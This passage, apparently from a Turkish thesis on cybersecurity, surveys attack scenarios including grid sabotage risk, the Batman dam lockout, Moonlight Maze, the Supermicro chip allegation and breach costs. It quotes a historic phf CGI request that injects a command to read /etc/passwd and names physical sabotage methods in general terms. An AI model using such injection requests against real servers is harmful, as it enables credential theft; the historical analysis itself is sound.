dontistiirerek, miidahalenin ve verilerin tehlikeye atilmasini zorlastirmaya calistigi icin
giivenlik ihlallerini Onlemenin de anahtaridir. Bununla birlikte, tim veri sifreleme
¢Oziimleri bir ve ayni1 degildir, bu nedenle verileri besikten mezara kadar korumak i¢in
uctan uca sifreleme kullanan bir sisteme yatirim yapmak 6nemlidir, bdylece yalnizca

gonderen ve alici bilgileri yetkilendirebilir.

Bir isletme, giivenli ag erisimi saglayan ve tiim iletisim ve kimlik dogrulama
prosediirlerinin sifrelenmesini saglayan en iist diizey giivenlik ¢oziimlerine yatirim
yapsa bile, hassas veriler bilgisayar korsanlari i¢in risk altinda olabilir. Ornegin, giin
boyunca is e-postalarina erigmek icin bir cihazi evden (tablet gibi) ofise getirmeye karar
veren bir c¢alisan1 diisliniin. Tablet, giivenli yazilim veya antiviriis korumasi ile
kurulamayabilir, boylece gilivenli olmayan bir aga baglanma riskiyle kars1 karsiya
kalabilir. Bu tiirden diizinelerce hatta yiizlerce giivenli olmayan cihazin kurulusunuzun

agina bagli olmasi ve buluta erismesinin kabusu oldugunu diisiiniin.

Ponemon Institute tarafindan yakin zamanda yapilan bir arastirma, iist diizey
yoneticilerin sadece ylizde 35'inin calisanlarin veri giivenligi risklerinin kuruluslarini
nasil etkiledigi konusunda bilgili olmasini saglamanin bir 6ncelik oldugunu

diisiindiiglinii ve ylizde 601 ¢alisanlarin bilgili olmadigin1 veya sirket hakkinda higbir
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bilgiye sahip olmadigin1 sdyledi. Calisma ayrica, ankete katilan sirketlerin yarisindan
fazlasinin (yiizde 55) kotii niyetli veya ihmalkar bir ¢alisan nedeniyle zaten bir giivenlik

olay1 yasadigini ortaya ¢ikartti. (Price, 2019)

Bir¢ok organizasyonda, kendi cihaziniz1 getirin (BYOD) politikalar1 yaygin bir
uygulama haline geliyor. Bu durum isyerinde dostane ve kolay baglantili bir atmosferi
tesvik edebilse de, ayn1 zamanda bir gilivenlik ihlaline yol agma potansiyeli de
yaratmaktadir. Kurulusunuzun bir BYOD politikas1 varsa veya bir politika uygulamay1
diisiiniiyorsaniz, dolandiriciliklari, kotii niyetli baglantilar1 ve zayif sifreleri tanimlamak
icin sirket capinda g¢alisan egitim programlari ve kurslart gelistirmek, uygulamak ve

uygulatmak onemlidir. Sifre gereklilikleri genellikle giivenlik agiklarindan geger.

2015 yilinda yapilan bir giivenlik analizi, zayif uzaktan erisim giivenligi ile
birlikte, ihlallerin yiizde 94'iniin zayif sifrelerden kaynaklandigini tespit etti. (Price,
2019)

Siber giivenlik, bir kurulusun her diizeyinde ¢ok Onemlidir ve bir giivenlik
bilinci kiiltiliriiniin benimsenmesi BT baglantisinin basarisizligi ile basar1 arasindaki fark
anlamina gelebilir. Neyse Ki, siber saldirilar1 6nleme adina atilan siber giivenlik adimlari
stratejik olarak kurum ve kuruluslarin ellerini gliglendirerek, siber saldirilardan daha az
maddi ve manevi kayipla ayrilmalarma zemin hazirlamaktadir. Iste bu nedenledir ki

siber giivenlik kavram1 yasanan zarar1 azaltacak en temel yap1 tasidir.

e Senaryo 17: Ulusal Elektrik Sebekesine Teror Saldirist Senaryosu

S6z konusu saldir1 senaryosunda, ulusal elektrik sebekesinin bir kismina
varsayimsal bir terorist saldirmin risk degerlendirmesini sunmaktadir. Boyle bir siber
saldiriin getirdigi baz1 sonuglar incelenerek degerlendirmeler yapilmistir. Amag, birkag
bliylik metropol alanina hizmet veren elektrik sebekesinin belirli bir bdlgesine siber
teror saldiris1 riski hakkinda bilgi elde etmektir. Risk yonetimi, elektrik sektoriiniin
“kritik altyapr korumasi” programinin ayrilmaz bir parcasidir. Yapilan bu senaryo
sayesinde esas olarak, ulusal elektrik altyapisinin temel bilesenlerinin fiziksel ve siber
tehditlere karsi, hem sanayi bazinda hem de sanayi-hiikiimet ortakliklari ile uygun risk
yonetimi sayesinde tutarl bir sekilde korunmasi amaglanmis ve bununla birlikte bolge

halkinin elektrik sektoriine olan giiveninin korunmasi amaglanmistir. Senaryomuzda bir
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elektrik sebekesine hem siber saldirt gergeklestirilmis hemde ayni zamanda fiziksel

saldirida gerceklestirildigi varsayilmistir.

Siber saldir1 her alt istasyondaki ekipmana, aga ve bolgeye degisen derecelerde
hasar vererek ¢ok sayida fiziksel yontem kullanilabilir. Ornegin, karbon
fiberler, Mylar seritleri veya diger kirleticiler, ciddi kisa devrelere neden olmak igin
otobiisler ve transformatdrler iizerine  piskiirtiilebilir. Patlayicilar,  anahtar
transformatorlerini, devre  Kesicileri ve veri yolu bolimlerini yok etmek igin
kullanilabilir. Saldirganlar ayrica trafo merkezi isletim panellerindeki devre kesici

kontrollerine de zarar verebilir. (Garrick, 2008)

Bu senaryolarin modellenmesine yardimct olmak igin, bir tehdit
degerlendirmesinin, elektrik sebekesi hakkinda ayrintili bilgilerin terdristlere sunulmasi
olasiliginin yiiksek oldugu varsayilmaktadir. Analiz yontemini aciklamak i¢in, Once
trafo merkezi incelenir, ¢iinkii iiretim istasyonundan tam verimde ve siber saldir1 sonrasi

giic kaybin1 gérmek acisindan 6nemlidir.
Saldir1 senaryolarini olusturmak i¢in bes ardisik soru sorulur.

1. Saldir1 bagarili m1? Basari, trafo merkezinin fiziksel olarak saldirtya ugradigi ve

tamamen devre dis1 birakildigi anlamina gelir.

2. Diger tiim iiretim istasyonlar1 basarisiz oluyor mu? Elektrik sebekeleri tipik
olarak, bir trafo merkezi tim ag dengesizlestirmeden hat disina
c¢ikabilir. Bununla birlikte, istasyonundaki tiim devrelerin ariza tarafindan
baslatilan bir agikliginin, otomatik yiik atma ve devre izolasyonunu diger tim
alanlarda baslatmak icin voltaj ve frekansta yeterli bir diisiise neden olabilecegi
diistiniilebilir. Trafoda, boylece kalan tiim jeneratorler off line hale gelmelerine

neden olur. Bu nedenle, modelimiz bu olasilig1 hesaba katmalidir.

3. Elektrik kesintisi ne kadar siirer? Bu, sebekeye giicii geri kazandirmak igin
beklenmedik durum planlarinin ne kadar hizli uygulanabilecegine bagl

olacaktir.

4. Gegici bolge boyunca yayiliyor mu? Trafoyu ya da istasyonu dengesizlestiren
fiziksel bir saldirt durumunda, bolgesel koruma sinyallerinin kalan ara

baglantilar1 otomatik olarak a¢masi ve gecici akimin bitisik aglara yayilmasinm
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engellemesi muhtemeldir. Bununla birlikte, gegici ve uzun vadeli kesintilerin
kapsamli bir analizi i¢in bdlgesel diizeyde basamakli hasara neden olan

arizalarin olasilig dikkate alinmalidir.

5. Bolgesel kesintinin siiresi ne kadardir? Bu, sistemin kurtarilmasini saglamak i¢in
beklenmedik durum planlarinin ne kadar hizli uygulanabilecegine baglh
olacaktir. Sebeke icinde herhangi bir noktada gecici bir kesinti varsa, bolgesel

bir kesinti i¢in maksimum siirenin de gegici oldugu (yani 24 saatten az) oldugu

varsayilir.
Sekil 22. Saldir1 Senaryolari I¢in Diisiince Siireci
Does.
mismatch
Physical Does attack Do Network 1 How long is propagate to  How long is Damage

attack occurs succeed?  generators fail?  network outage? the region?  region outage? Lewel

MNa

0

Mo

0
< 4 hours
0
Yes Mo
i
¥es 4 - 24 hours < i hours 1
Yeas
4 - 24 hours
2
(0]
3
=24 hours | <4hous __ .
Yes 4 - 24 hours ‘
= 24 hours

Kaynak : (GARRICK, 2008)

Sekil 22'de, saldir1 senaryolarimi gelistirmek ve sonuglarini hasar seviyelerine
atamak i¢in kullanilan sistematik diislince siirecini gostermektedir. Her sistemdeki diger
koruyucu engelleri hesaba katarak subeler eklenebilir. Bu ¢alismanin temel amaci,
giivenlik agiklarimi belirlemek i¢in kapsamli bir cerceve olusturmak ve olasi tiim
sonuglarin dengeli bir sekilde degerlendirilmesini saglamaktir. Sekil 22 senaryo
gelistirme siirecinin karmagik ariza ve basamakli efekt kombinasyonlarini temsil etmek

icin nasil kullanilabilecegini de gosterir. Tam 6lcekli bir risk degerlendirmesi, her bir alt
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istasyona yapilan saldirilarin ve ayni anda birden fazla alt istasyonun etkilerini

inceleyecektir.

Her durumda ulusal elektrik sebekesinin trafolarima veya istasyonlarina
yapilacak olan siber saldir1 ya da fiziksel saldir1 24 saatten az siirede Sekil 22'de
¢oziilmeye calisilan bir algoritma gelistirilmis, kesinti yasandig1 andan itibaren bolgenin
etkilenmemesi i¢in diger trafolar ve istasyonlar araciligiyla hizmet verilmeye
calisilmistir. Buna ragmen siber saldirilarin enerji sektoriinde hayati kisa siireli ya da
uzun donem igin felg edebilecegi gercegi asla yadsinamaz. Her durumda siber giivenlik
icin iletim hatlarin1 kullanarak diger ana hatlardan ve yan hatlardan sehir sebekelerini
besleyerek siber giivenligin saglanamadigi durumlarda en azindan saldirinin maddi
kaybin1 en az diizeyde tutmak hedeflenmistir. Bu sayede kisa elektrik kesintisi ile

calisanlar ve siber giivenlik uzmanlar1 tizerindeki baskiy1 en aza indirecektir.
e Senaryo 18: BATMAN ili Hidroelektrik Santrali Siber Saldir1 Senaryosu

Almanyanin Noel sirketi 2003 yilinda Batman Barajinin Hidroelektrik
Santrali'ni bitirdiginde, 1 milyon dolar alacagi oldugunu iddia ederek bu alacag: tahsil
edemediklerini belirttiler. Bununl birlikte is bitiminde tahsil edemedigi alacaklar
gerekce gostererek sirketin bilgisayarlarini sifre ile kilitlediler ve kenti terk ederek
Batman Ili Hidrolektrik Santralini olduk¢a zor bir durumda birakarak iilkemizi terk
ettiler. Yapilan bu kotii niyetli siber saldir1 nedeni ile santralin {i¢ {initesinde de enerji

tiretimi tamamen durmus oldu.

Bilgisayarlarin sifrelenerek kilitlenmesi nedeniyle Batman Baraji'nda enerji
liretimi yapilamadigmi soyleyen DSI yetkilileri, bu nedenle Batman'in baz ilgeleri ile
Sirnak ve Cizre'ye kesintili olarak elektrik verebildiklerini belirttiler. Barajin yeniden
elektrik tiretimine baglamasi i¢in sifreyi ¢cozmek tlizere Tiirkiye Elektromekanik Sanayi

uzmanlart da yogun ¢aligmalarin siirdiiriiyor. (Milliyet Gazetesi, 2003)

Bu ornek ister bireysel olsun, isterse kamu kurumlar1 ve sanayi kuruluslari
acisindan olsun, SCADA, PLC ve isletim sistemleri gibi siber cevre birimlerinin

yerliliginin 6nemini gostermektedir.
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Burada malesef g¢evre birimlerinin tamaminda kaynak kod yazilirken %100
yerlilik saglanmadikga kontroliin her ne yapilirsa yapilsin tam olarak ele alinmasi veya

elde tutulmasi pek miimkiin goriilmemektedir.

Bu oOrnekte anlatilan kriz ne kadar siirdii ne kadar siire zarfinda ¢Oziime
kavusturuldugu bilinmemekle beraber ilk dalga etkisi bu elektrik kesintisinin etkiledigi
yerlesim birimlerinde tiiketilen elektrik enerjisinin parasal degeri kadardir. Sonrasinda
bu maliyete bu siire zarfinda tiiketilen elektrik enerjisi ile gerceklestirilebilecek iiretimin
maliyeti eklenmeli. Ve bu girdilerin bolgesel ekonomiye etkilerinin yani sira diger

bolgelerle olan ticarete etkileri de ayrica hesaba katilmalidir. (Ozkan, 2019)
e Senaryo 19: Moonlight Maze Saldir1 Senaryosu

Kamuoyunca Moonlight Maze operasyonu olarak tanmnan siber saldiri Mart
1998°de basladi. Yapilan bu organize siber saldir1 ile ABD’nin Pentagon, NASA, ABD
Enerji Bakanlig1 ve tiniversitelere ait yapilan tiim arastirma ve gelistirme bilgilere ait
dokiimanlar, askeri tesislerin gizli ve diger harita bilgileri, askeri eylem planlar1 ve
askeri amagli donanim tasarimlar1 da dahil olmak {izere birgok gizli bilgi ve belgeler

calinmistir.
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Sekil 23. The Sunday Times Gazetesi 25 Temmuz 1999 Moonligt Maze Siber Saldir1
Haberi

THE SUNDAY TIMES-25 JULY 1090

OPERATION MOONLIGHT MAZE

; M **:“‘_5;1;;::; g;;f:‘“ = Lz:‘ﬁ; :'
=" & \ | e ~
Russmn hackers Steal
US weapons secr ets

by Matthew Campbell Washingtor

Kaynak : (OZKAN, 2019)

Sekil 23'te Londra merkezli "The Sunday Times" gazetesinin 25 Temmuz 1999
tarthli baskisinin Moonlight Maze siber saldirisinin haberi goriilmektedir. Haberin
iceriginde Rus hackerlarin ABD silahlarinin sirlarint ele gecirdikleri iddiast yer
almaktadir.

Aslinda yapilan bu siber saldirilar 1996'da ilk olarak bagladi. Ik hedefler:
Wright Patterson ve Kelly Hava Kuvvetleri Ussii, Ordu Arastirma Laboratuvari, Hint
Deniz Sistemleri Komutanligi, Maryland, NASA ve Enerji laboratuvarlari. 1998'in
ortalarinda FBI ve Savunma Bakanlig1 arastirmacilar1 Rus ISP'lerine isaret eden adli
kanitlara sahiptiler. (GUERRERO-SAADE, RAIU, MOORE, & RID, 2018)

1999 yilinda FBI'mm Moonlight Maze siber saldiris1 hakkindaki kapsaml
sorusturmast kamuoyuna sizdirildi. Maalesef ki yapilan bu saldirmin aktdrleri
hakkindaki net bilgiler, kullanilan araglar ve islem basamaklar1 hakkinda bugiine kadar
cok fazla ayrint1 ortaya ¢ikartilamadi. Sonunda kod adi farkli bir isimle yer degistirdi

(siber saldirganlarin "Firtina Bulutu" olarak adlandirilan gelistirilmis izinsiz giris seti
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daha sonra "Makers Mark" ismini aldi). Kisaltilmis hali "MM" olarak yaygin olarak bu
siber saldirty1 tanimlamak i¢in kullanildi.

Her sey 6diing alinan tek bir istismarla bagladi. Karl Grindal tarafindan talep
edilen FOIA belgeleri, belirli bir ortak ag gecidi arabirimi (CGI) ikili dosyasindaki bir
giivenlik acigini kotiiye kullanarak askeri sistemlere yonelik ¢oklu saldir1 girisimlerini
aciklamaktadir. <phf> adl ikili dosya genellikle o sirada HTTP arka plan programi ile
paketlenmisti ve bu nedenle genellikle ylizeysel web sunucularinda mevcuttu. 1996'nin
baslarinda bir siire, <phf> 'ye kars1 bir saldir1 turlara basladi. (GUERRERO-SAADE,
RAIU, MOORE, & RID, 2018)

Glivenlik agigindan, asagidaki sekilde hazirlanmis bir web istegiyle
yararlanilabilir:

> http://<server>cgi-bin/phf?Qalias=%ff/bin/cat%20/etc/passwd
(GUERRERO-SAADE, RAIU, MOORE, & RID, 2018)

Boylece sunucu bilgisayarlar, parola dosyasinin igerigini sizdirmaya hazirlandi,
boylece siber saldirganlarin olduk¢a kolay bir sekilde sunucuya ftp veya telnet
gondermesi ve resmi olarak tanimli bir kullanici kiligina biirtinmiis bir sekilde sisteme
giris yapmasi saglandi. Bazi durumlarda ise bu girisimler, sadece savunmasiz <phf>
ikilisinin yokluguna dayanarak basarisiz bir girisim olarak kaldi. Diger saldirt
denemelerinde, bir sekilde basarili olmay1 basardilar ve yillar sonra bile kok salmasi
olduk¢a zahmetli olan siber saldirilarin oniindeki biitiin engelleri bir bir kaldirmis

oldular.

Saldirilarla ilgili yapilan iz stirme sonucunda bu saldirilarin Moskova’nin 20 mil
disinda yer alan ve Rusya Bilimler Akademisi ile siki baglar1 olan bir servis saglayici
tizerinden gergeklestirildigi belirtilmistir. ABD’nin milyonlarca dolar harcayarak ve
yillarca ¢alisarak elde ettigi deneyim, bir operasyonla el degistirmis oldu. Ekonomik

acidan hesaplanamayacak diizeyde bir zarar s6z konusudur. (Ozkan, 2019)
e Senaryo 20: Fiziksel Saldir1 Senaryosu Ajan-Mikrogip

Cin casuslarinin yaptig1 iddia edilen sizma saldirisi, Amazon ve Apple gibi
sirketlerin de i¢inde bulundugu 30 biiyiik sirketi etkiledi. (STM Miihendislik Teknoloji
Danigsmanlik, 2019)
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Biiyiilk yanki uyandiran ve hiikiimet ve kurumsal kaynaklara gére ABD ile
yapilan teknoloji tedarik ticaretini dahi riske atan bu saldiri, Bloomberg
Businessweek’te “The Big Hack: How China Used a Tiny Chip to Infiltrate U.S.
Companies” caligmasinda ele alindi. 2015 yilinda Amazon Portland’daki “Elemental
Technologies” adli startup kurulusunu sessizce incelemeye basladi. (STM Miihendislik
Teknoloji Danismanlik, 2019)

Bugiin “Amazon Prime Video” olarak bilinen ¢evrimici video yayimn hizmetinin
bu boyutlarda gelisim gostermesinde biiyiik pay1 olan bu kurulus biiyiik boyutlu video
dosyalarin1 sikistirma ve farkli cihazlarda caligabilmesi i¢in formatlama yazilimlar
gelistiriyordu.

Gelistirdikleri bu yazilim sayesinde, Olimpiyat Oyunlarinin ¢evrimi¢i ortamda
yayinlanmasina, Uluslararas1 Uzay Istasyonu ile karsilikli olarak iletisim kurulmasia
ve drone goriintiilerinin anlik olarak CIA’e gonderilmesinde aktif olarak rol almisti.

Amazon Web Services’in (AWS) CIA igin gelistirdigi yiiksek giivenlikli bulut
teknolojisinde, bu yazilimin kullanilabilecegi diisiiniildii. Bunun i¢in AWS,
Elemental’in giivenli olup olmadigin1 incelemek adina {igiincii bir sirketle anlastigini
duyurdu. Ik bulgulara gére AWS’den, Elemental’in ana iiriiniinin daha siki
incelenmesi istendigi bildirildi. Kaynaklara gore, Elemental’in kullandig1 ve
miisterilerin video sikistirmak i¢in aglarina kurduklart bu pahali sunucular, diinyanin en
biiyiilk sunucu anakart tedarikcilerinden biri olan San Jose merkezli Super Jose
Computer Inc. sirketi tarafindan gelistiriliyordu. 2015 baharinda, Elemental firmasindan
birka¢ sunucu incelenmesi i¢in bahsi gecen giivenlik sirketine gonderildi. (STM
Miihendislik Teknoloji Danigsmanlik, 2019)

Bu giivenlik sirketi ayrintili olarak yapilan incelemelerde sonucunda sunucu
anakartlarina entegre edilmis halde piring tanesinden daha kiigiik boyutlarda Sekil 24'te
gosterilen bir mikrogipi tespit ettigini acikladi.
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Sekil 24. Sunucu Anakartlara Yerlestirilen Anakart

oomber
inessvgeek e

The Big Hack

Kaynak : (STM MUHENDISLIK TEKNOLOJI DANISMANLIK, 2019)

Amazon bu durumu yetkili ABD makamlarina bildirdi. Elemental’in sunuculari,
Savunma Bakanligr veri merkezlerinde, CIA’in drone operasyonlar1 biriminde ve
Donanma savas gemilerinin aglarinda kullaniliyordu ve Elemental, yiizlerce mikrocip
miisterisinden yalnizca biriydi. (STM Miihendislik Teknoloji Danigmanlik, 2019)

Ug yildan daha uzun siiren gizli bir sorusturma sonucunda raportdrler, bu
mikrogiplerin saldirganlara istemli olarak aga sizabilmeleri igin gizli bir ac¢ik kapi
biraktigin1  belirttiler. Arastirmacilar ayrica bu mikrogiplerin Cin’de taseronlar
tarafindan isletilen fabrikalara yerlestirildigini tespit etmislerdi. Bu, insanlarin genelde
karsilastig1 yazilim tabanli tek diize tipte saldirilardan ¢ok daha farkli bir saldir1 olarak
giin yiizline ¢gikartilmisti. Ayrica uzmanlara gore, donanimsal saldirilar potansiyel olarak
yazilimsal saldirilara gore ¢ok daha yikici etkiye sahiptiler ve bunlar tespit edip onlem
almak kurumlar i¢in oldukca zor ve karmasgik bir yapiya sahipti.

2015 Eyliil ayma gelindiginde ise Amazon, Elemental’i satin aldigin1 duyurdu.
Amazon, Apple ve Supermicro, Bloomberg Businessweek’in konuyla ilgili raporlarini
inceleyerek siber giivenlik adina alinabilecek dnlemleri masaya yatirdilar.

Amazon, “AWS’nin tedarik zincirinde herhangi bir taviz verilmemistir.
AWS’nin kotl niyetli cipler veya Elemental’t satin alirken anakartlardaki donanim
degisiklikleri hakkinda bilgisi yoktu” seklinde bir aciklama yapti. Apple tarafindan ise,
“Bu konuda olduk¢a acgik olabiliriz: Apple herhangi bir sunucuda kétii niyetli ¢ip,
donanim manipiilasyonlar1 veya giivenlik agiklar1 bulmus degildir” agiklamasi geldi.

(STM Miihendislik Teknoloji Danismanlik, 2019)
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Supermicro sirketinin yaptigi agiklamaya gore yapilan bir sorusturmadan
bilgilerinin olmadigint belirttiler. Cin hiikiimeti ise, Supermicro sunucularinin
manipiilasyonuyla ilgili dogrudan agiklama yapmak istemedi ve bunun yerine “Siber
giivenlik alaninda tedarik zinciri giivenligi ortak bir sorun ve Cin'de bir kurbandir”
seklinde bir agiklama yayinladi. CIA ve NSA’yi temsilen ise konuyla ilgili yorum
yapmaktan kag¢inildi.

ABD resmi kaynaklarindan konuya bakildiginda ise, Cin’in ilgili askeri birimi
bir kalem ucundan ¢ok daha kiigiik boyutta bir mikrogip tasarlayip imal etmisti.
Tasarlanan bu mikrogipler siber saldir1 diizenleyebilmek icin gereken hafiza, ag
yetenegi ve yeter seviyede islemci hizina sahip sekilde tiretilmislerdi.

Bu mikrogiplerin diinyanin 6nde gelen sunucu anakart saticilarindan biri olan
Supermicro’nun tedarik¢ileri olan Cin fabrikalarina yerlestirildigi tespit edilmisti. (STM
Miihendislik Teknoloji Danismanlik, 2019)

Ele gecirilmis olan bu anakartlar (Sekil 25) Supermicro’nun sunucularina

yerlestirilmisti.

Sekil 25. Zararl1 Mikrogipin Entegre Edildigi Sunucu Anakarti

Kaynak : (STM MUHENDISLIK TEKNOLOJI DANISMANLIK, 2019)

Zararli hale gelmis olan bu anakartlarin bagli oldugu sunucular da Sekil 26
gosterilen haliyle zararli sunucu haline gelmislerdi ve bu sunucular diizinelerce sirket

tarafindan isletilen veri merkezlerinde bulunuyordu.
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Sekil 26. Zararli Hale Gelmis Anakartin Bulundugu Sunucu

Kaynak : (STM MUHENDISLIK TEKNOLOJi DANISMANLIK, 2019)

Uzmanlarm agikladigi bilgilere gore, bir sunucunun agilist sirasinda bu zararli
mikrogip sunucunun isletim sisteminin c¢ekirdegini degistirmek kaydiyla isletim
sistemini modifikasyonlara acik hale getiriyordu bu sayede saldiriya zemin hazirlanmis
oluyordu. Mikrogip aymi zamanda siber saldirganlar tarafindan kontrol edilen
bilgisayarlarla iletisime gegebiliyor ve istenmeye komut dizelerini ¢alistirip kodlamaya
acik hale getiriyordu.

McLean’daki brifingden sonra gegen iic yilin ardindan, Supermicro’nun
anakartlarindaki saldirilar1 tespit etmek icin ticari olarak uygun iirlin ¢ikmadigl ve
¢ikmasinin da muhtemel olmadig: bildirildi. Apple ve Amazon’un kaynaklar1 boyle bir
saldirinin tespitinin yapilmis olmasinin bile sans eseri oldugunu ifade etti. Bu saldirinin
uc nokta bir saldir1 oldugu ve kolay kolay teknolojik bir ¢oziim getirilemeyecegi

belirtildi. (STM Miihendislik Teknoloji Danigmanlik, 2019)
e Senaryo 21: ABD Saglik Sigortasi Sistemine Diizenlenen Sanal Siber Saldir1

ABD saglik sistemine yapilan sanal siber saldir1 sonucunda elde edilen bilgiler
sayesinde sistem olduk¢a biiyiikk maddi kayiplara ugramis. Yapilan saldiriy1
onleyebilmek adina hasta kayit ve bilgilerinin tutuldugu sistem bir siire gecici olarak
kapatilmigtir. Siber saldirilar konusunda olusturulan karsit ekip sorunun kaynagini
¢ozmeye calismis, bu slirecte maddi ve sistemin itibar ve giivenilirlik agisindan manevi
kayiplar1 s6z konusu olmugtur.

Senaryoya gore hasta kayit sistemine sizilarak yapilan saldiri sonucunda izinsiz

kopyalanan hasta kayitlari, sifre bilgileri, adres defteri bilgileri, kimlik bilgileri, recete
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edilen ilag bilgileri vs gibi bilgileri derin webte satmak istenmistir. Saglik sistemin bir
misterisi olan kisinin tesadiif eseri derin webte gezerken kendi {iyesi oldugu sistemin
hasta kayitlarinin satilik oldugunu goriince ihbarda bulunmus daha sonra sistemin
giivenlik uzmanlar1 tarafindan gerekli arastirma ve miidahale yapilmis, sisteme etkileri

uzmanlarca analiz edilmistir.

Aslinda bir siber saldirmin bir kurulusu etkilemesinin bir¢ok yolu vardir ve bu
etkiler, iirlinlin niteligine ve ciddiyetine bagl olarak degisecektir. Yapilan bu siber
saldirinin etkilerinden bazilari iyi bilinen dogrudan maliyetlerdir. ABD saglik sistemine
diizenlenen bu siber saldirida maddi kayiplar, borsadaki deger kayiplari, kredi notunun
diismesi gib ciddi boyutlara ulagmistir. Fakat ABD saglik sisteminin esas kaybi diger
kayiplar olarak adlandirabilecegimiz manevi kismi olan daha genis kapsamli, maddi
olmayan maliyetlerdir nicellestirilmesi daha zor olan kayiplar diyebiliriz. Bu asamada
yapilan bu siber saldirinin sonucu olarak hastalar ve sisteme liye olan kisilerin
bilgilerinin kopyalanmasi ile sisteme olan giiven kaybi, yeni hasta kayit oraninin giiven
bunalimi nedeniyle diismesi, sistemin halkin géziinde ugradig: itibar kaybi1 senaryo

dahilinde degerlendirilmistir.

Saldir1 senaryosunun yapildigt ABD saglik sistemi sirketinin asagidaki yapida

oldugu senaryoya gore varsayilmistir.

Tablo 1 Sanal Abd Saglik Sistemi Kurulusu Yapisi

Sanal ABD Saglik Sigorta Sistemi Kurulugu Hakkinda

60 milyar dolarlik yillik gelir

50.000 calisan

ABD genelinde 23,5 milyon iiye (ylizde 60'1 igveren sozlesmeleri yoluyla abone
oldu)

Tibbi uyarilar saglayan ve saglayici agindaki saglik pratisyenlerinin hasta
kayitlarina ve sigorta kapsami bilgilerine erigsmesine izin veren bir hasta bakimi1

uygulamasi kullanir

Kasim-Ocak aylar1 arasinda acik kayit yaptirir (insanlarin saglik sigortasi planlarina
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kaydolabilecegi yillik donem)

Hem devlet hem de federal yetkililer tarafindan diizenlenmistir

Bir saglik sistemi elde etmek i¢in bor¢ sermayesinde 1 milyar dolar toplamay1

planliyor

100 milyon dolarlik siber sigorta poligesi i¢in yillik 7 milyon dolar prim 6der

Kaynak : (DELOITTE DANISMANLIK SIRKETI, 2016)

Yapilan bu siber saldir1 senaryosunun gelisimi ve ayrintili sonuglar1 asagida

belirtilmistir.

Mayis ayinda sirket, 2.8 milyon kisisel saglik bilgisi (PHI) kaydi igeren bir
diziistii bilgisayarin, sirketin saglik analizi yazilim saticisindan ¢alindigini 6grendi. Bu
uzlasma, bes giin sonra sirkete kurumsal bir miisteri tarafindan miisterinin
calisanlarindan bazilariyla iliskili bilgilerin siber su¢ “karanlik web” sitelerinde satiga
sunuldugunu bildirdiginde ortaya c¢ikti. Aym1 zamanda, hasta bakimi uygulamasinin
yoneticileri, olusturulan yeni kullanic1 hesab1 sayisinda ve aktif kullanimda 6nemli bir
artis fark etmeye basladi. Ayrica, bir milyon ek hasta kaydinin uygulama veritabanindan
indirildigini ve yetkili kullanim i¢in oldugunu dogrulayamadigini tespit ettiler. Sonug
olarak, sirket hekimin hasta bakimi uygulamasina erisimini kapatti ve siber olay
miidahale ekibini etkinlestirdi. Olay arastirilirken basvuru iki hafta boyunca ¢evrimdisi
tutuldu. Bu siire zarfinda, sirket ile hekimleri ve saglayicilar1 arasinda kapsama ve hak
taleplerinin validasyonu, sirketin cagri merkezinde "asir1 destek" saglamak igin
profesyonel bir hizmet kurulusundan hizmet alinarak yapildi. Teknik arastirma, siber
saldirganlarin ¢alinan diziistii bilgisayardan ayricalikli kimlik bilgileri kullanarak hasta
bakimi1 uygulamasina eristigini ve dnemli sayida kullanict kimligi olusturdugunu ortaya
koydu. Sonug olarak, hizmet geri yiiklenmeden 6nce, tiim uygulama kullanicilari igin
yeni kullanici hesaplart yaymlanmali ve yeni uygulama ile sistem kontrollerini yaparak
veriler tekrar erisime agilmalidir. (DELOITTE Danismanlik Sirketi, 2016)

Bu siber saldirinin toplam maliyeti bes yillik bir zaman dilimi i¢inde 1,6 milyar
dolardan fazlayd: ve 6nemli bir ilgi gordii, etkinin sadece yiizde 3,5'1 “ylizeyin iistiinde”

idi. Siradan gozlemciye gore, bu olay PHI veri hirsizligimmin klasik bir 6rnegiydi ve
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sirket miisteri bildirimi, miisteri korumasi ve diizenleyici para cezalar1 da dahil olmak
tizere bir veri ihlali konusunda ortak sonuglar dogururken, ¢ok daha derin etkileri vardi.
Gergekte, etkinin yiizde 96'sindan fazlast “yiizeyin altinda” idi. Dahasi, etkinin
neredeyse yiizde 89'u sadece 3 “yiizeyin altinda” etki faktoriiyle iliskiliydi: kaybedilen
sO0zlesme gelirinin degeri; ticari adin devaliiasyonu; ve miisteri iliskilerinin deger kaybi.

(DELOITTE Danigsmanlik Sirketi, 2016)

Bir baska ilging gozlem, etkinin zamanla nasil oynandigidir. Triyaj asamasindaki
“kanamay1 durdurma” maliyetlerinin toplami, toplam finansal etkinin yilizde 4'linden
daha azinmi olusturdu. Etki yonetimi asamasindaki etki yaklasik yiizde 40'a yiikseldi.
Ancak bu, olaydan sonraki yillarda ger¢eklesen etkinin yaklasik yiizde 57'sinin, bir
olaydan sonraki yilin en etkili oldugunu diisiinerek zorlandig1r anlamina geliyordu. Bu
senaryoda, en biiyiik etkiler zamanla ortaya ¢ikan daha az belirgin faktorlerdir. Asagida,
en etkili ti¢ faktoriin nasil tahmin edildigine dair bir aciklama bulunmaktadir.

(DELOITTE Danigsmanlik Sirketi, 2016)

Kayip sozlesme gelirinin degeri (primler): Bu senaryoda sézlesmeler iptal
edilmedi, ancak sirket olayin zararin1 azaltmaya calistigindan, tiyelerini tarihsel olarak
tahsil ettikleri prim artigin1 ayarladi. Bu, bes yil boyunca tahmini 830 milyon dolar
zararla sonuglandi. Bu hesaplamaya ulagmak i¢in, yillik primlerdeki ortalama artigin
birinci yilda yiizde 20 oraninda azaldigi ve prim biiylime oranlarinin, bes yil sonra
olayin oncesine kiyasla ortalama biiylime oranlarini karsilamak i¢in istikrarli bir sekilde

arttig1 varsayilmistir. (DELOITTE Danismanlik Sirketi, 2016)

Ayrica, bu hesaplama, birinci yilda yeni liyelerin (ihlalden hemen sonra) ytlizde
50 azaldig1 varsayilmistir. Bununla birlikte, yeni tiyeler i¢in biiylime oram siirekli olarak
normal biiylime oranlarina yiikseldi, boylece dordiincii ve besinci yillarda sirasiyla
yiizde 25 ve yiizde 30 biiyiime oranlarina ulasildi. Siber saldiridan 6nce, sirketin miisteri
iligkilerinin veya {yelerinin toplam degerinin 10.3 milyar dolar oldugu tahmin
ediliyordu. Bes yillik donemde modellenen kayip iiyeler veya miisteriler nedeniyle
yillik gelirlerdeki diislise bagli olarak, miisteri iligkilerinin degeri 9,5 milyar dolara
geriledi. Bu kayip, yukarida atifta bulunulan kayip soézlesme gelirine (primler) ek
olmustur. (DELOITTE Danigmanlik Sirketi, 2016)

e Senaryo 22: Sifre Igeren Sifreli Dosyayr Cézme
